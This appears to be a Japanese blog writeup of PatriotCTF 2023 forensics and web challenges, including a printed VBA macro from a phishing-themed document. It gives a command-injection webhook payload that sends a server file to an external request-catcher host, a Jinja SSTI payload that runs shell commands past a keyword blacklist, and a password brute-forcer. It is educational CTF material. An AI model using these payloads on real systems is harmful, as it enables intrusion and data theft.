はまやんはまやんはまやん

hamayanhamayan's blog

PatriotCTF 2023 Writeup

[forensics] Unsupported Format

jpgファイルが与えられるが破損しているので修復する問題。
バイナリエディタで眺めると0x100付近にJFIFという文字が見える。
通常jpegファイルの先頭周りについている文字列なのだが、ちゃんと開くjpegファイルと比較しても違和感がある。
先頭が違う?と思い、適当にforemost -v Flag.jpgでfile carvingしなおすと開けるjpegファイルが抽出でき、
フラグが書いてある。

[forensics] Congratulations

docmファイルが与えられる。
oleidで見てみるが、特に気になる部分はない。
zipに拡張子を変えて解凍してみる。
word/media/image1.pngを見るとDocuSignを騙ったフィッシングドキュメントでBECを想定しているっぽい。
word/vbaProject.binがあり、マクロが埋め込まれていた。(oleid教えてくれないのね)
olevbaで中身を見てみよう。
olevba -c /vbaProject.binで抽出可能。

Dim x51 As String
    Dim x49 As String

    x51 = "C:\Program Files\Internet Explorer\iexplore.exe"

    Dim x50 As Integer
    Dim x47 As Double
    For x50 = 1 To 100
        x47 = Sqr(x50) * 2 + 5 / x50
    Next x50

    MsgBox "cYvSGF9cFrrEmfYFW8Yo", vbInformation, "aThg"

    x49 = [char]0x50 + [char]0x43 + [char]0x54 + [char]0x46 + [char]0x7B + [char]0x33 + [char]0x6E + [char]0x34 + [char]0x62 + [char]0x6C + [char]0x33 + [char]0x5F + [char]0x6D + [char]0x34 + [char]0x63 + [char]0x72 + [char]0x30 + [char]0x35 + [char]0x5F + [char]0x70 + [char]0x6C + [char]0x7A + [char]0x5F + [char]0x32 + [char]0x37 + [char]0x33 + [char]0x31 + [char]0x35 + [char]0x36 + [char]0x37 + [char]0x30 + [char]0x7D

    Shell x51 & " " & x49, vbNormalFocus

    Application.Wait Now + TimeValue("00:00:02")

    MsgBox "sgTdrn8Np2Kpfnmr9y57" & x49, vbInformation, "foSds"

    Dim x45(1 To 10) As Integer
    Dim x46 As Integer
    For x50 = 1 To 10
        x46 = Int((100 - 1 + 1) * Rnd + 1)
        x45(x50) = x46
    Next x50

    Dim x52 As Integer
    Dim x53 As Integer
    For x50 = 1 To 9
        For x53 = x50 + 1 To 10
            If x45(x50) > x45(x53) Then
                x52 = x45(x50)
                x45(x50) = x45(x53)
                x45(x53) = x52
            End If
        Next x53
    Next x50

    Dim x54 As String
    For x50 = 1 To 10
        x54 = x54 & x45(x50) & ", "
    Next x50
    MsgBox "phNuYUNwdHHCJdVL4hJd" & Left(x54, Len(x54) - 2), vbInformation, "LOEC"

    Dim x55 As Worksheet
    Set x55 = ThisWorkbook.Sheets.Add(After:=ThisWorkbook.Sheets(ThisWorkbook.Sheets.Count))
    x55.Name = "TtrZ4"
    Dim x56 As ChartObject
    Set x56 = x55.ChartObjects.Add(Left:=10, Top:=10, Width:=300, Height:=200)

    Dim x57 As Range
    Set x57 = x55.Range("A1:B5")
    x57.Value = Application.WorksheetFunction.RandBetween(1, 100)
    x56.Chart.SetSourceData Source:=x57
    x56.Chart.ChartType = xlColumnClustered

    Exit Sub

ErrorHandler:
    MsgBox "hWgjD9NKf7UqXdAq0GBb", vbCritical, "uv9b"
End Sub

色々書いてあるが、以下を返還するとフラグになっていた。

x49 = [char]0x50 + [char]0x43 + [char]0x54 + [char]0x46 + [char]0x7B + [char]0x33 + [char]0x6E + [char]0x34 + [char]0x62 + [char]0x6C + [char]0x33 + [char]0x5F + [char]0x6D + [char]0x34 + [char]0x63 + [char]0x72 + [char]0x30 + [char]0x35 + [char]0x5F + [char]0x70 + [char]0x6C + [char]0x7A + [char]0x5F + [char]0x32 + [char]0x37 + [char]0x33 + [char]0x31 + [char]0x35 + [char]0x36 + [char]0x37 + [char]0x30 + [char]0x7D

[forensics] Capybara

jpegファイルが与えられる。
色々試すとbinwalkでFile Carvningすることでaudio.wavというファイルが得られる。

$ binwalk -e capybara.jpeg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
151174        0x24E86         Zip archive data, at least v2.0 to extract, compressed size: 6902, uncompressed size: 919160, name: audio.wav
158170        0x269DA         End of Zip archive, footer length: 22

音を聞くとモールス信号なので、https://morsecode.world/international/decoder/audio-decoder-adaptive.html
あたりを使ってデコードする。
結果にブレがあるのでうまく何回か試して結果を調整しながら使うと、hex stringsが得られ、hex to asciiでデコードすると
フラグが得られる。

https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')&input=NTA0MzU0NDY3QjY0MzA1Rjc5MzA1NTVGNkI0RTMwNTc1RjY4MzA1NzVGNzQzMDVGNTIzMzM0NDQ1RjZEMzA3MjM1MzM1RjQzMzA2NDMzM0Y3RA

[web] Scavenger Hunt

ソースコード無し。
フラグがページのあちこちに散らばってるので探して持ってくる問題。
Burp Suiteで開いて巡回して、ソースコード確認して、みたいな流れを繰り返して拾っていくといい。

  1. GET / -> Flag 1/5 - PCTF{Hunt
  2. GET /ソースコード -> <!-- Flag 2/5 - 3r5_4n -->
  3. GET /robots.txt (これだけ推測で頑張るしかない) -> # Flag 3/5 - D_g4tH3
  4. GET /script1.js -> console.log("Flag 4/5 - R5_e49");
  5. GET /script2.js -> document.cookie = "Flag 5/5=e4a541}";

[web] Checkmate

ユーザー名パスワードを入れるサイトが与えられる。
以下のようにjavascriptでクライアント側で検証実施している。
nameは以下のように検証している。

function checkName(name){

    var check  = name.split("").reverse().join("");
    return check === "uyjnimda" ? !0 : !1;
}

反転してuyjnimdaと比較しているので、adminjyuとすればいい。
passwordは以下のORで判定している。

function checkLength(pwd){
     return (password.length % 6 === 0 )? !0:!1;
    }
function checkValidity(password){
    const arr = Array.from(password).map(ok);
    function ok(e){
        if (e.charCodeAt(0)<= 122 && e.charCodeAt(0) >=97 ){
        return e.charCodeAt(0);
    }}

    let sum = 0;
    for (let i = 0; i < arr.length; i+=6){
        var add = arr[i] & arr[i + 2]; 
        var or = arr[i + 1] | arr[i + 4]; 
        var xor = arr[i + 3] ^ arr[i + 5];
        if (add === 0x60   && or === 0x61   && xor === 0x6) sum += add + or - xor; 
    }
   return  sum === 0xbb ? !0 : !1;
}

ANDで判定すればよさそうだが、ORになっている。
理由はよくわからないが、どっちも通るものを作ればよさそう。

まずif (add === 0x60 && or === 0x61 && xor === 0x6) sum += add + or - xor;の部分をみると、1ループでsumにどれだけ加算されるかは分かる。

$ python3 -c "print(0x60+0x61-0x6);print(0xbb)"
187
187

という感じなので、パスワードの長さは6文字と見て良さそう。
ソースコード// /check.phpとコメントがあるので、GETでアクセスしてみるとパスワードの入力画面が出てくる。
上記の条件を満たすパスワードは1つではないので、条件を満たすものを使ってブルートフォースすればよさそう。
以下のようにブルートフォーサーを書いて放っておくと、パスワードがsadsauのときにフラグが得られる。

import time
import requests

for v0 in range(97,122 + 1):
    for v1 in range(97,122 + 1):
        for v2 in range(97,122 + 1):
            for v3 in range(97,122 + 1):
                for v4 in range(97,122 + 1):
                    for v5 in range(97,122 + 1):
                        if (v0 & v2) == 0x60 and (v1 | v4) == 0x61 and (v3 ^ v5) == 0x6:
                            passwd = chr(v0) + chr(v1) + chr(v2) + chr(v3) + chr(v4) + chr(v5)
                            print(passwd)
                            t = requests.post('http://chal.pctf.competitivecyber.club:9096/check.php', data={'password':passwd}).text
                            if 'incorrect password' not in t:
                                print(t)
                                print('did it!')
                                exit(0)
                            time.sleep(0.1)

[web] Flower Shop

phpで作られたwebサイトが与えられる。
GET /admin.phpをセッションのusernameがadminの状態で入ればフラグがもらえる。
一番怪しいのが、パスワードリセット処理を実施しているapp/classes/reset.class.phpの以下の部分。

exec("php ../scripts/send_pass.php " . $this->tmpPass . " " . $this->wh . " > /dev/null 2>&1 &");

明らかに不自然。
埋め込み変数の出元を辿ると$this->whはユーザー登録時に登録するWebhookのURLを指していて、
正常動作であれば、このWebhook先にパスワードリセット後の新しいパスワードが送られる。

Webhook URLは登録時に以下のようなバリデーションを実施する。

        if (!filter_var($this->wh, FILTER_VALIDATE_URL)) {
            header("location: ../login.php?error=NotValidWebhook");
            exit();
        }

コマンドインジェクションに対してはこれだけでは不十分で、https://[yours].requestcatcher.com/test?q=$(id)のようにWebhookを仕込み、
パスワードリセット処理を実行すると、idの出力が得られる。
あとはフィルタリングを回避しながら、出力もうまく調整しながら/var/www/html/admin.phpにあるフラグを取得すればいい。
自分は以下のようなURLを使用した。

http://[yours].requestcatcher.com/test?q=$(dd${IFS}if=/var/www/html/admin.php${IFS}bs=1${IFS}skip=325)

空白がバリデーションで弾かれるので${IFS}を利用している。
あと、そのままadmin.phpを出力させて送ると空白とかでちゃんと送れないので、ddコマンドで先頭バイトを適当にskipして送っている。

[web] Pick Your Starter

ポケモンの最初の御三家のどれを選ぶか選択できるサイトが与えられる。
ちなみにヒトカゲを選ぶと/charmanderというパスに飛ばされる。
色々試すと/{{7*7}}、つまり、GET /%7B%7B7*7%7D%7Dを試すと49と帰ってきてSSTI可能なことが分かる。
触ってみるとブラックリストがあるような気がする。

[]
config
|
__builtins__
"
'
+

さまよっていると、
http://chal.pctf.competitivecyber.club:5555/%7B%7Brequest.application.__globals__.__loader__.__init__.__globals__.sys.modules.os.popen(request.args.a).read()%7D%7D?a=id
でidコマンドが実行できた。

cat app.pyとしてコードを見てみる。

from flask import Flask, render_template, render_template_string

app = Flask(__name__)
app.static_folder = 'static'

starter_pokemon = {
    "charmander" : {
        "name": "Charmander",
        "type": "Fire",
        "abilities": ["Blaze", "Solar Power"],
        "height": "0.6m",
        "weight": "8.5 kg",
        "description": "Charmander is a Fire-type Pokémon known for its burning tail flame.",
        "picture": "https://assets.pokemon.com/assets/cms2/img/pokedex/full/004.png"
    },
    "bulbasaur" : {
        "name": "Bulbasaur",
        "type": "Grass/Poison",
        "abilities": ["Overgrow", "Chlorophyll"],
        "height": "0.7m",
        "weight": "6.9 kg",
        "description": "Bulbasaur is a dual-type Grass/Poison Pokémon known for the plant bulb on its back.",
        "picture": "https://archives.bulbagarden.net/media/upload/f/fb/0001Bulbasaur.png"
    },
    "squirtle" : {
        "name": "Squirtle",
        "type": "Water",
        "abilities": ["Torrent", "Rain Dish"],
        "height": "0.5m",
        "weight": "9.0 kg",
        "description": "Squirtle is a Water-type Pokémon known for its water cannons on its back.",
        "picture": "https://static.pokemonpets.com/images/monsters-images-800-800/7-Squirtle.webp"
    },
}

def blacklist(string):
    block = ["config", "update", "builtins", "\"", "'", "`", "|", " ", "[", "]", "+", "-"]
    
    for item in block:
        if item in string:
            return True
    return False


@app.route('/')
def index():
    render = render_template('index.html')
    return render_template_string(render)


@app.route('/<pokemon>')
def detail(pokemon):
    pokemon = pokemon.lower()
    try:
        render = render_template('pokemon_name.html', data=starter_pokemon[pokemon])
        return render_template_string(render)
    except:
        if blacklist(pokemon):
            return render_template('error.html')
            
        render = render_template('404.html', pokemon=pokemon)
        return render_template_string(render)

if __name__ == '__main__':
    app.run(debug=True)

ブラックリスト大体あってましたね。
updateは何をブロックしたかったんだろう。
ともあれ、cat /flag.txtでフラグ獲得